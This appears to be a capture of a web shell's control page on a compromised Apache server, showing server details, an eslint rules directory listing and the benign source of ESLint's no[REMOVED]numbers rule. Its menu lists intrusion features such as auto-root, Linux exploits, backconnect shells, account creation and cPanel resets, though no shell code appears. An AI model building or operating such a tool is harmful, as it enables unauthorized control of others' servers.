Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
eslint /
lib /
rules /
[ HOME SHELL ]
Name
Size
Permission
Action
utils
[ DIR ]
drwxr-xr-x
accessor-pairs.js
10.95
KB
-rw-r--r--
array-bracket-newline.js
7.93
KB
-rw-r--r--
array-bracket-spacing.js
7.88
KB
-rw-r--r--
array-callback-return.js
12.6
KB
-rw-r--r--
array-element-newline.js
8.86
KB
-rw-r--r--
arrow-body-style.js
10.12
KB
-rw-r--r--
arrow-parens.js
6.95
KB
-rw-r--r--
arrow-spacing.js
4.51
KB
-rw-r--r--
block-scoped-var.js
3.42
KB
-rw-r--r--
block-spacing.js
5.04
KB
-rw-r--r--
brace-style.js
7.41
KB
-rw-r--r--
callback-return.js
5.74
KB
-rw-r--r--
camelcase.js
10.12
KB
-rw-r--r--
capitalized-comments.js
9.07
KB
-rw-r--r--
class-methods-use-this.js
6.24
KB
-rw-r--r--
comma-dangle.js
11.38
KB
-rw-r--r--
comma-spacing.js
5.75
KB
-rw-r--r--
comma-style.js
10
KB
-rw-r--r--
complexity.js
4.89
KB
-rw-r--r--
computed-property-spacing.js
6.55
KB
-rw-r--r--
consistent-return.js
5.6
KB
-rw-r--r--
consistent-this.js
4.33
KB
-rw-r--r--
constructor-super.js
11.77
KB
-rw-r--r--
curly.js
11.48
KB
-rw-r--r--
default-case-last.js
1.08
KB
-rw-r--r--
default-case.js
2.26
KB
-rw-r--r--
default-param-last.js
1.65
KB
-rw-r--r--
dot-location.js
3.32
KB
-rw-r--r--
dot-notation.js
5.08
KB
-rw-r--r--
eol-last.js
3.48
KB
-rw-r--r--
eqeqeq.js
4.76
KB
-rw-r--r--
for-direction.js
4.11
KB
-rw-r--r--
func-call-spacing.js
8.1
KB
-rw-r--r--
func-name-matching.js
8.63
KB
-rw-r--r--
func-names.js
5.01
KB
-rw-r--r--
func-style.js
5.21
KB
-rw-r--r--
function-call-argument-newline...
4.12
KB
-rw-r--r--
function-paren-newline.js
9.96
KB
-rw-r--r--
generator-star-spacing.js
6.17
KB
-rw-r--r--
getter-return.js
5.62
KB
-rw-r--r--
global-require.js
2.78
KB
-rw-r--r--
grouped-accessor-pairs.js
7.08
KB
-rw-r--r--
guard-for-in.js
1.88
KB
-rw-r--r--
handle-callback-err.js
3.17
KB
-rw-r--r--
id-blacklist.js
6.54
KB
-rw-r--r--
id-denylist.js
6.21
KB
-rw-r--r--
id-length.js
5.48
KB
-rw-r--r--
id-match.js
8.99
KB
-rw-r--r--
implicit-arrow-linebreak.js
3.07
KB
-rw-r--r--
indent-legacy.js
34.88
KB
-rw-r--r--
indent.js
64.92
KB
-rw-r--r--
index.js
17.43
KB
-rw-r--r--
init-declarations.js
3.88
KB
-rw-r--r--
jsx-quotes.js
3.07
KB
-rw-r--r--
key-spacing.js
20.77
KB
-rw-r--r--
keyword-spacing.js
19.94
KB
-rw-r--r--
line-comment-position.js
3.65
KB
-rw-r--r--
linebreak-style.js
3.49
KB
-rw-r--r--
lines-around-comment.js
15.13
KB
-rw-r--r--
lines-around-directive.js
6.85
KB
-rw-r--r--
lines-between-class-members.js
9.89
KB
-rw-r--r--
logical-assignment-operators.j...
18.6
KB
-rw-r--r--
max-classes-per-file.js
1.81
KB
-rw-r--r--
max-depth.js
3.55
KB
-rw-r--r--
max-len.js
13.33
KB
-rw-r--r--
max-lines-per-function.js
5.91
KB
-rw-r--r--
max-lines.js
4.3
KB
-rw-r--r--
max-nested-callbacks.js
2.63
KB
-rw-r--r--
max-params.js
3
KB
-rw-r--r--
max-statements-per-line.js
6.58
KB
-rw-r--r--
max-statements.js
4.47
KB
-rw-r--r--
multiline-comment-style.js
17.96
KB
-rw-r--r--
multiline-ternary.js
6.39
KB
-rw-r--r--
new-cap.js
7.04
KB
-rw-r--r--
new-parens.js
3.09
KB
-rw-r--r--
newline-after-var.js
8.64
KB
-rw-r--r--
newline-before-return.js
6.96
KB
-rw-r--r--
newline-per-chained-call.js
3.79
KB
-rw-r--r--
no-alert.js
3.75
KB
-rw-r--r--
no-array-constructor.js
4.88
KB
-rw-r--r--
no-async-promise-executor.js
1007
B
-rw-r--r--
no-await-in-loop.js
2.44
KB
-rw-r--r--
no-bitwise.js
2.88
KB
-rw-r--r--
no-buffer-constructor.js
1.82
KB
-rw-r--r--
no-caller.js
1.06
KB
-rw-r--r--
no-case-declarations.js
1.82
KB
-rw-r--r--
no-catch-shadow.js
2.45
KB
-rw-r--r--
no-class-assign.js
1.53
KB
-rw-r--r--
no-compare-neg-zero.js
1.62
KB
-rw-r--r--
no-cond-assign.js
4.72
KB
-rw-r--r--
no-confusing-arrow.js
3.16
KB
-rw-r--r--
no-console.js
6.09
KB
-rw-r--r--
no-const-assign.js
1.8
KB
-rw-r--r--
no-constant-binary-expression....
17.72
KB
-rw-r--r--
no-constant-condition.js
4.36
KB
-rw-r--r--
no-constructor-return.js
1.16
KB
-rw-r--r--
no-continue.js
784
B
-rw-r--r--
no-control-regex.js
3.74
KB
-rw-r--r--
no-debugger.js
793
B
-rw-r--r--
no-delete-var.js
852
B
-rw-r--r--
no-div-regex.js
1.22
KB
-rw-r--r--
no-dupe-args.js
1.95
KB
-rw-r--r--
no-dupe-class-members.js
2.82
KB
-rw-r--r--
no-dupe-else-if.js
4.1
KB
-rw-r--r--
no-dupe-keys.js
3.87
KB
-rw-r--r--
no-duplicate-case.js
1.72
KB
-rw-r--r--
no-duplicate-imports.js
9.79
KB
-rw-r--r--
no-else-return.js
13.09
KB
-rw-r--r--
no-empty-character-class.js
1.89
KB
-rw-r--r--
no-empty-function.js
5.22
KB
-rw-r--r--
no-empty-pattern.js
1.8
KB
-rw-r--r--
no-empty-static-block.js
1007
B
-rw-r--r--
no-empty.js
2.39
KB
-rw-r--r--
no-eq-null.js
1.09
KB
-rw-r--r--
no-eval.js
7.34
KB
-rw-r--r--
no-ex-assign.js
1.27
KB
-rw-r--r--
no-extend-native.js
5.29
KB
-rw-r--r--
no-extra-bind.js
5.87
KB
-rw-r--r--
no-extra-boolean-cast.js
10.34
KB
-rw-r--r--
no-extra-label.js
4.17
KB
-rw-r--r--
no-extra-parens.js
42.57
KB
-rw-r--r--
no-extra-semi.js
4.52
KB
-rw-r--r--
no-fallthrough.js
6.8
KB
-rw-r--r--
no-floating-decimal.js
2.51
KB
-rw-r--r--
no-func-assign.js
1.82
KB
-rw-r--r--
no-global-assign.js
2.37
KB
-rw-r--r--
no-implicit-coercion.js
12.3
KB
-rw-r--r--
no-implicit-globals.js
4.52
KB
-rw-r--r--
no-implied-eval.js
4.24
KB
-rw-r--r--
no-import-assign.js
6.03
KB
-rw-r--r--
no-inline-comments.js
2.63
KB
-rw-r--r--
no-inner-declarations.js
3.15
KB
-rw-r--r--
no-invalid-regexp.js
5.82
KB
-rw-r--r--
no-invalid-this.js
4.38
KB
-rw-r--r--
no-irregular-whitespace.js
7.67
KB
-rw-r--r--
no-iterator.js
1.08
KB
-rw-r--r--
no-label-var.js
2.01
KB
-rw-r--r--
no-labels.js
3.29
KB
-rw-r--r--
no-lone-blocks.js
3.24
KB
-rw-r--r--
no-lonely-if.js
3.23
KB
-rw-r--r--
no-loop-func.js
6.87
KB
-rw-r--r--
no-loss-of-precision.js
6.91
KB
-rw-r--r--
no-magic-numbers.js
10.33
KB
-rw-r--r--
no-misleading-character-class....
15.96
KB
-rw-r--r--
no-mixed-operators.js
6.98
KB
-rw-r--r--
no-mixed-requires.js
6.23
KB
-rw-r--r--
no-mixed-spaces-and-tabs.js
3.3
KB
-rw-r--r--
no-multi-assign.js
1.3
KB
-rw-r--r--
no-multi-spaces.js
4.48
KB
-rw-r--r--
no-multi-str.js
1.57
KB
-rw-r--r--
no-multiple-empty-lines.js
5.45
KB
-rw-r--r--
no-native-reassign.js
2.7
KB
-rw-r--r--
no-negated-condition.js
2.37
KB
-rw-r--r--
no-negated-in-lhs.js
1.3
KB
-rw-r--r--
no-nested-ternary.js
960
B
-rw-r--r--
no-new-func.js
2.34
KB
-rw-r--r--
no-new-native-nonconstructor.j...
1.71
KB
-rw-r--r--
no-new-object.js
1.82
KB
-rw-r--r--
no-new-require.js
1.55
KB
-rw-r--r--
no-new-symbol.js
1.69
KB
-rw-r--r--
no-new-wrappers.js
1.43
KB
-rw-r--r--
no-new.js
905
B
-rw-r--r--
no-nonoctal-decimal-escape.js
4.46
KB
-rw-r--r--
no-obj-calls.js
2.41
KB
-rw-r--r--
no-object-constructor.js
2.85
KB
-rw-r--r--
no-octal-escape.js
1.15
KB
-rw-r--r--
no-octal.js
851
B
-rw-r--r--
no-param-reassign.js
6.21
KB
-rw-r--r--
no-path-concat.js
1.96
KB
-rw-r--r--
no-plusplus.js
2.61
KB
-rw-r--r--
no-process-env.js
1.6
KB
-rw-r--r--
no-process-exit.js
1.69
KB
-rw-r--r--
no-promise-executor-return.js
6.52
KB
-rw-r--r--
no-proto.js
1.07
KB
-rw-r--r--
no-prototype-builtins.js
4.61
KB
-rw-r--r--
no-redeclare.js
4.32
KB
-rw-r--r--
no-regex-spaces.js
5.15
KB
-rw-r--r--
no-restricted-exports.js
5.5
KB
-rw-r--r--
no-restricted-globals.js
3.72
KB
-rw-r--r--
no-restricted-imports.js
19.02
KB
-rw-r--r--
no-restricted-modules.js
5.98
KB
-rw-r--r--
no-restricted-properties.js
5.81
KB
-rw-r--r--
no-restricted-syntax.js
1.66
KB
-rw-r--r--
no-return-assign.js
2.21
KB
-rw-r--r--
no-return-await.js
4.35
KB
-rw-r--r--
no-script-url.js
1.48
KB
-rw-r--r--
no-self-assign.js
4.56
KB
-rw-r--r--
no-self-compare.js
1.67
KB
-rw-r--r--
no-sequences.js
3.92
KB
-rw-r--r--
no-setter-return.js
5.59
KB
-rw-r--r--
no-shadow-restricted-names.js
2.61
KB
-rw-r--r--
no-shadow.js
16.95
KB
-rw-r--r--
no-spaced-func.js
2.54
KB
-rw-r--r--
no-sparse-arrays.js
1.45
KB
-rw-r--r--
no-sync.js
1.84
KB
-rw-r--r--
no-tabs.js
2.39
KB
-rw-r--r--
no-template-curly-in-string.js
989
B
-rw-r--r--
no-ternary.js
785
B
-rw-r--r--
no-this-before-super.js
8.83
KB
-rw-r--r--
no-throw-literal.js
1.06
KB
-rw-r--r--
no-trailing-spaces.js
5.91
KB
-rw-r--r--
no-unassigned-vars.js
1.92
KB
-rw-r--r--
no-undef-init.js
2.35
KB
-rw-r--r--
no-undef.js
1.85
KB
-rw-r--r--
no-undefined.js
1.82
KB
-rw-r--r--
no-underscore-dangle.js
9.31
KB
-rw-r--r--
no-unexpected-multiline.js
3.4
KB
-rw-r--r--
no-unmodified-loop-condition.j...
9.8
KB
-rw-r--r--
no-unneeded-ternary.js
5.8
KB
-rw-r--r--
no-unreachable-loop.js
4.96
KB
-rw-r--r--
no-unreachable.js
7.32
KB
-rw-r--r--
no-unsafe-finally.js
3.26
KB
-rw-r--r--
no-unsafe-negation.js
3.88
KB
-rw-r--r--
no-unsafe-optional-chaining.js
5.26
KB
-rw-r--r--
no-unused-expressions.js
5.39
KB
-rw-r--r--
no-unused-labels.js
3.79
KB
-rw-r--r--
no-unused-private-class-member...
6.13
KB
-rw-r--r--
no-unused-vars.js
47.41
KB
-rw-r--r--
no-use-before-define.js
11.59
KB
-rw-r--r--
no-useless-assignment.js
18.88
KB
-rw-r--r--
no-useless-backreference.js
7.48
KB
-rw-r--r--
no-useless-call.js
2.71
KB
-rw-r--r--
no-useless-catch.js
1.28
KB
-rw-r--r--
no-useless-computed-key.js
5.8
KB
-rw-r--r--
no-useless-concat.js
2.9
KB
-rw-r--r--
no-useless-constructor.js
6.82
KB
-rw-r--r--
no-useless-escape.js
10.81
KB
-rw-r--r--
no-useless-rename.js
4.81
KB
-rw-r--r--
no-useless-return.js
11.67
KB
-rw-r--r--
no-var.js
11.19
KB
-rw-r--r--
no-void.js
1.33
KB
-rw-r--r--
no-warning-comments.js
5.54
KB
-rw-r--r--
no-whitespace-before-property....
3.79
KB
-rw-r--r--
no-with.js
757
B
-rw-r--r--
nonblock-statement-body-positi...
4.31
KB
-rw-r--r--
object-curly-newline.js
9.88
KB
-rw-r--r--
object-curly-spacing.js
10.16
KB
-rw-r--r--
object-property-newline.js
3.67
KB
-rw-r--r--
object-shorthand.js
17.59
KB
-rw-r--r--
one-var-declaration-per-line.j...
2.92
KB
-rw-r--r--
one-var.js
17.5
KB
-rw-r--r--
operator-assignment.js
7.36
KB
-rw-r--r--
operator-linebreak.js
8.69
KB
-rw-r--r--
padded-blocks.js
8.7
KB
-rw-r--r--
padding-line-between-statement...
16.59
KB
-rw-r--r--
prefer-arrow-callback.js
11.39
KB
-rw-r--r--
prefer-const.js
15.41
KB
-rw-r--r--
prefer-destructuring.js
8.72
KB
-rw-r--r--
prefer-exponentiation-operator...
6.57
KB
-rw-r--r--
prefer-named-capture-group.js
4.93
KB
-rw-r--r--
prefer-numeric-literals.js
4.4
KB
-rw-r--r--
prefer-object-has-own.js
3.71
KB
-rw-r--r--
prefer-object-spread.js
9.27
KB
-rw-r--r--
prefer-promise-reject-errors.j...
4.51
KB
-rw-r--r--
prefer-reflect.js
3.74
KB
-rw-r--r--
prefer-regex-literals.js
14.05
KB
-rw-r--r--
prefer-rest-params.js
2.96
KB
-rw-r--r--
prefer-spread.js
2.5
KB
-rw-r--r--
prefer-template.js
10.29
KB
-rw-r--r--
quote-props.js
9.89
KB
-rw-r--r--
quotes.js
10.68
KB
-rw-r--r--
radix.js
5.42
KB
-rw-r--r--
require-atomic-updates.js
9.08
KB
-rw-r--r--
require-await.js
4.46
KB
-rw-r--r--
require-unicode-regexp.js
7.57
KB
-rw-r--r--
require-yield.js
1.68
KB
-rw-r--r--
rest-spread-spacing.js
3.65
KB
-rw-r--r--
semi-spacing.js
7.21
KB
-rw-r--r--
semi-style.js
5.12
KB
-rw-r--r--
semi.js
13.01
KB
-rw-r--r--
sort-imports.js
8.4
KB
-rw-r--r--
sort-keys.js
5.74
KB
-rw-r--r--
sort-vars.js
3.24
KB
-rw-r--r--
space-before-blocks.js
6.18
KB
-rw-r--r--
space-before-function-paren.js
5.13
KB
-rw-r--r--
space-in-parens.js
9.1
KB
-rw-r--r--
space-infix-ops.js
5.75
KB
-rw-r--r--
space-unary-ops.js
10.39
KB
-rw-r--r--
spaced-comment.js
10.98
KB
-rw-r--r--
strict.js
8.91
KB
-rw-r--r--
switch-colon-spacing.js
4.59
KB
-rw-r--r--
symbol-description.js
1.66
KB
-rw-r--r--
template-curly-spacing.js
4.24
KB
-rw-r--r--
template-tag-spacing.js
2.99
KB
-rw-r--r--
unicode-bom.js
1.68
KB
-rw-r--r--
use-isnan.js
6.96
KB
-rw-r--r--
valid-typeof.js
4.16
KB
-rw-r--r--
vars-on-top.js
4.2
KB
-rw-r--r--
wrap-iife.js
6.75
KB
-rw-r--r--
wrap-regex.js
2.12
KB
-rw-r--r--
yield-star-spacing.js
3.9
KB
-rw-r--r--
yoda.js
9.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : no-magic-numbers.js
/** * @fileoverview Rule to flag statements that use magic numbers (adapted from https://github.com/danielstjules/buddy.js) * @author Vincent Lemeunier */ "use strict"; const astUtils = require("./utils/ast-utils"); // Maximum array length by the ECMAScript Specification. const MAX_ARRAY_LENGTH = 2 ** 32 - 1; //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ /** * Convert the value to bigint if it's a string. Otherwise return the value as-is. * @param {bigint|number|string} x The value to normalize. * @returns {bigint|number} The normalized value. */ function normalizeIgnoreValue(x) { if (typeof x === "string") { return BigInt(x.slice(0, -1)); } return x; } /** * Checks if the node parent is a TypeScript enum member * @param {ASTNode} node The node to be validated * @returns {boolean} True if the node parent is a TypeScript enum member */ function isParentTSEnumDeclaration(node) { return node.parent.type === "TSEnumMember"; } /** * Checks if the node is a valid TypeScript numeric literal type. * @param {ASTNode} node The node to be validated * @returns {boolean} True if the node is a TypeScript numeric literal type */ function isTSNumericLiteralType(node) { let ancestor = node.parent; // Go up while we're part of a type union while (ancestor.parent.type === "TSUnionType") { ancestor = ancestor.parent; } // Check if the final ancestor is in a type alias declaration return ancestor.parent.type === "TSTypeAliasDeclaration"; } /** * Checks if the node parent is a readonly class property * @param {ASTNode} node The node to be validated * @returns {boolean} True if the node parent is a readonly class property */ function isParentTSReadonlyPropertyDefinition(node) { if (node.parent?.type === "PropertyDefinition" && node.parent.readonly) { return true; } return false; } /** * Checks if the node is part of a type indexed access (eg. Foo[4]) * @param {ASTNode} node The node to be validated * @returns {boolean} True if the node is part of an indexed access */ function isAncestorTSIndexedAccessType(node) { let ancestor = node.parent; /* * Go up another level while we're part of a type union (eg. 1 | 2) or * intersection (eg. 1 & 2) */ while ( ancestor.parent.type === "TSUnionType" || ancestor.parent.type === "TSIntersectionType" ) { ancestor = ancestor.parent; } return ancestor.parent.type === "TSIndexedAccessType"; } /** @type {import('../types').Rule.RuleModule} */ module.exports = { meta: { type: "suggestion", dialects: ["typescript", "javascript"], language: "javascript", docs: { description: "Disallow magic numbers", recommended: false, frozen: true, url: "https://eslint.org/docs/latest/rules/no-magic-numbers", }, schema: [ { type: "object", properties: { detectObjects: { type: "boolean", default: false, }, enforceConst: { type: "boolean", default: false, }, ignore: { type: "array", items: { anyOf: [ { type: "number" }, { type: "string", pattern: "^[+-]?(?:0|[1-9][0-9]*)n$", }, ], }, uniqueItems: true, }, ignoreArrayIndexes: { type: "boolean", default: false, }, ignoreDefaultValues: { type: "boolean", default: false, }, ignoreClassFieldInitialValues: { type: "boolean", default: false, }, ignoreEnums: { type: "boolean", default: false, }, ignoreNumericLiteralTypes: { type: "boolean", default: false, }, ignoreReadonlyClassProperties: { type: "boolean", default: false, }, ignoreTypeIndexes: { type: "boolean", default: false, }, }, additionalProperties: false, }, ], messages: { useConst: "Number constants declarations must use 'const'.", noMagic: "No magic number: {{raw}}.", }, }, create(context) { const config = context.options[0] || {}, detectObjects = !!config.detectObjects, enforceConst = !!config.enforceConst, ignore = new Set((config.ignore || []).map(normalizeIgnoreValue)), ignoreArrayIndexes = !!config.ignoreArrayIndexes, ignoreDefaultValues = !!config.ignoreDefaultValues, ignoreClassFieldInitialValues = !!config.ignoreClassFieldInitialValues, ignoreEnums = !!config.ignoreEnums, ignoreNumericLiteralTypes = !!config.ignoreNumericLiteralTypes, ignoreReadonlyClassProperties = !!config.ignoreReadonlyClassProperties, ignoreTypeIndexes = !!config.ignoreTypeIndexes; const okTypes = detectObjects ? [] : ["ObjectExpression", "Property", "AssignmentExpression"]; /** * Returns whether the rule is configured to ignore the given value * @param {bigint|number} value The value to check * @returns {boolean} true if the value is ignored */ function isIgnoredValue(value) { return ignore.has(value); } /** * Returns whether the number is a default value assignment. * @param {ASTNode} fullNumberNode `Literal` or `UnaryExpression` full number node * @returns {boolean} true if the number is a default value */ function isDefaultValue(fullNumberNode) { const parent = fullNumberNode.parent; return ( parent.type === "AssignmentPattern" && parent.right === fullNumberNode ); } /** * Returns whether the number is the initial value of a class field. * @param {ASTNode} fullNumberNode `Literal` or `UnaryExpression` full number node * @returns {boolean} true if the number is the initial value of a class field. */ function isClassFieldInitialValue(fullNumberNode) { const parent = fullNumberNode.parent; return ( parent.type === "PropertyDefinition" && parent.value === fullNumberNode ); } /** * Returns whether the given node is used as a radix within parseInt() or Number.parseInt() * @param {ASTNode} fullNumberNode `Literal` or `UnaryExpression` full number node * @returns {boolean} true if the node is radix */ function isParseIntRadix(fullNumberNode) { const parent = fullNumberNode.parent; return ( parent.type === "CallExpression" && fullNumberNode === parent.arguments[1] && (astUtils.isSpecificId(parent.callee, "parseInt") || astUtils.isSpecificMemberAccess( parent.callee, "Number", "parseInt", )) ); } /** * Returns whether the given node is a direct child of a JSX node. * In particular, it aims to detect numbers used as prop values in JSX tags. * Example: <input maxLength={10} /> * @param {ASTNode} fullNumberNode `Literal` or `UnaryExpression` full number node * @returns {boolean} true if the node is a JSX number */ function isJSXNumber(fullNumberNode) { return fullNumberNode.parent.type.indexOf("JSX") === 0; } /** * Returns whether the given node is used as an array index. * Value must coerce to a valid array index name: "0", "1", "2" ... "4294967294". * * All other values, like "-1", "2.5", or "4294967295", are just "normal" object properties, * which can be created and accessed on an array in addition to the array index properties, * but they don't affect array's length and are not considered by methods such as .map(), .forEach() etc. * * The maximum array length by the specification is 2 ** 32 - 1 = 4294967295, * thus the maximum valid index is 2 ** 32 - 2 = 4294967294. * * All notations are allowed, as long as the value coerces to one of "0", "1", "2" ... "4294967294". * * Valid examples: * a[0], a[1], a[1.2e1], a[0xAB], a[0n], a[1n] * a[-0] (same as a[0] because -0 coerces to "0") * a[-0n] (-0n evaluates to 0n) * * Invalid examples: * a[-1], a[-0xAB], a[-1n], a[2.5], a[1.23e1], a[12e-1] * a[4294967295] (above the max index, it's an access to a regular property a["4294967295"]) * a[999999999999999999999] (even if it wasn't above the max index, it would be a["1e+21"]) * a[1e310] (same as a["Infinity"]) * @param {ASTNode} fullNumberNode `Literal` or `UnaryExpression` full number node * @param {bigint|number} value Value expressed by the fullNumberNode * @returns {boolean} true if the node is a valid array index */ function isArrayIndex(fullNumberNode, value) { const parent = fullNumberNode.parent; return ( parent.type === "MemberExpression" && parent.property === fullNumberNode && (Number.isInteger(value) || typeof value === "bigint") && value >= 0 && value < MAX_ARRAY_LENGTH ); } return { Literal(node) { if (!astUtils.isNumericLiteral(node)) { return; } let fullNumberNode; let value; let raw; // Treat unary minus/plus as a part of the number if ( node.parent.type === "UnaryExpression" && ["-", "+"].includes(node.parent.operator) ) { fullNumberNode = node.parent; value = node.parent.operator === "-" ? -node.value : node.value; raw = `${node.parent.operator}${node.raw}`; } else { fullNumberNode = node; value = node.value; raw = node.raw; } const parent = fullNumberNode.parent; // Always allow radix arguments and JSX props if ( isIgnoredValue(value) || (ignoreDefaultValues && isDefaultValue(fullNumberNode)) || (ignoreClassFieldInitialValues && isClassFieldInitialValue(fullNumberNode)) || (ignoreEnums && isParentTSEnumDeclaration(fullNumberNode)) || (ignoreNumericLiteralTypes && isTSNumericLiteralType(fullNumberNode)) || (ignoreTypeIndexes && isAncestorTSIndexedAccessType(fullNumberNode)) || (ignoreReadonlyClassProperties && isParentTSReadonlyPropertyDefinition(fullNumberNode)) || isParseIntRadix(fullNumberNode) || isJSXNumber(fullNumberNode) || (ignoreArrayIndexes && isArrayIndex(fullNumberNode, value)) ) { return; } if (parent.type === "VariableDeclarator") { if (enforceConst && parent.parent.kind !== "const") { context.report({ node: fullNumberNode, messageId: "useConst", }); } } else if ( !okTypes.includes(parent.type) || (parent.type === "AssignmentExpression" && parent.left.type === "Identifier") ) { context.report({ node: fullNumberNode, messageId: "noMagic", data: { raw, }, }); } }, }; }, };
Close
